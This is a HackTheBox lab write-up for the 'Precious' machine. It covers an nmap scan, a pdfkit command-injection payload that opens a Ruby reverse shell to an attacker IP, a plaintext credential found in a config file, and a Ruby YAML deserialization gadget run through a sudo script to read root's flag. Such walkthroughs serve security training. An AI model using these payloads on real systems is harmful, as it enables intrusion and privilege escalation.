HackTheBox "Precious"

April 16th, 2023

Info Card
Info Card

Introduction

Precious is an easy box released on November 26th, 2022 by Nauten.

User Own

Nmap:

Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-16 09:58 EDT
Nmap scan report for precious.htb (10.10.11.189)
Host is up (0.032s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 845e13a8e31e20661d235550f63047d2 (RSA)
|   256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
|_  256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: Convert Web Page to PDF
| http-server-header: 
|   nginx/1.18.0
|_  nginx/1.18.0 + Phusion Passenger(R) 6.0.15
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.61 seconds

There's a website being hosted at http://precious.htb.

http://precious.htb
http://precious.htb

Messing around with the website in Burp Suite reveals the PDFs are being generated with pdfkit 0.8.6, which is vulnerable. Using this script from Exploit-DB lets us inject commands into the website, giving us a reverse shell in Ruby.

http://%20`ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.xx.xx","1234"))'`

After gaining a reverse shell, we are logged in as ruby in the directory /var/www/pdfapp. Checking /home reveals that ruby has a home directory.

find /home/ruby -type f
/home/ruby/.bundle/config
/home/ruby/.profile
/home/ruby/.cache/gstreamer-1.0/registry.x86_64.bin
/home/ruby/.cache/fontconfig/CACHEDIR.TAG
/home/ruby/.cache/fontconfig/8750a791-6268-4630-a416-eea4309e7c79-le64.cache-7
/home/ruby/.cache/fontconfig/ef96da78-736b-4d54-855c-6cd6306b88f9-le64.cache-7
/home/ruby/.cache/fontconfig/7fbdb48c-391b-4ace-afa2-3f01182fb901-le64.cache-7
/home/ruby/.cache/fontconfig/cb67f001-8986-4483-92bd-8d975c0d33c3-le64.cache-7
/home/ruby/.history.swp
/home/ruby/.bash_logout
/home/ruby/.bashrc

Checking /home/ruby/.bundle/config reveals henry's credentials.

cat /home/ruby/.bundle/config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"

These credentials can be used to login to SSH as henry and get the user.txt flag.

USER OWN
USER OWN

System Own

henry has a file called dependencies.yml.

dependencies.yml
---
 - !ruby/object:Gem::Installer
     i: x
 - !ruby/object:Gem::SpecFetcher
     i: y
 - !ruby/object:Gem::Requirement
   requirements:
     !ruby/object:Gem::Package::TarReader
     io: &1 !ruby/object:Net::BufferedIO
       io: &1 !ruby/object:Gem::Package::TarReader::Entry
          read: 0
          header: "abc"
       debug_output: &1 !ruby/object:Net::WriteAdapter
          socket: &1 !ruby/object:Gem::RequestSet
              sets: !ruby/object:Net::WriteAdapter
                  socket: !ruby/module 'Kernel'
                  method_id: :system
              git_set: cat /root/root.txt
          method_id: :resolve

It seems this file will cat /root/root.txt when read, which is what we want.

sudo -l reveals:

sudo -l
Matching Defaults entries for henry on precious:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb

/opt contains:

find /opt
/opt
/opt/update_dependencies.rb
/opt/sample
/opt/sample/dependencies.yml

update_dependencies.rb does:

update_dependencies.rb
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end

update_dependencies.rb grabs dependencies.yml, but does so relatively. We can run this script as root and use the dependencies.yml in henry's home directory instead of the one in /opt/sample. This will print out the root.txt flag.

henry@precious:~$ sudo /usr/bin/ruby /opt/update_dependencies.rb 
sh: 1: reading: not found
[ROOT FLAG HERE]
Traceback (most recent call last):
        ... (irrelevant traceback)
/usr/lib/ruby/2.7.0/net/protocol.rb:458:in `system': no implicit conversion of nil into String (TypeError)
SYSTEM OWN
SYSTEM OWN

That's the box completed!

PWNED
PWNED

Last updated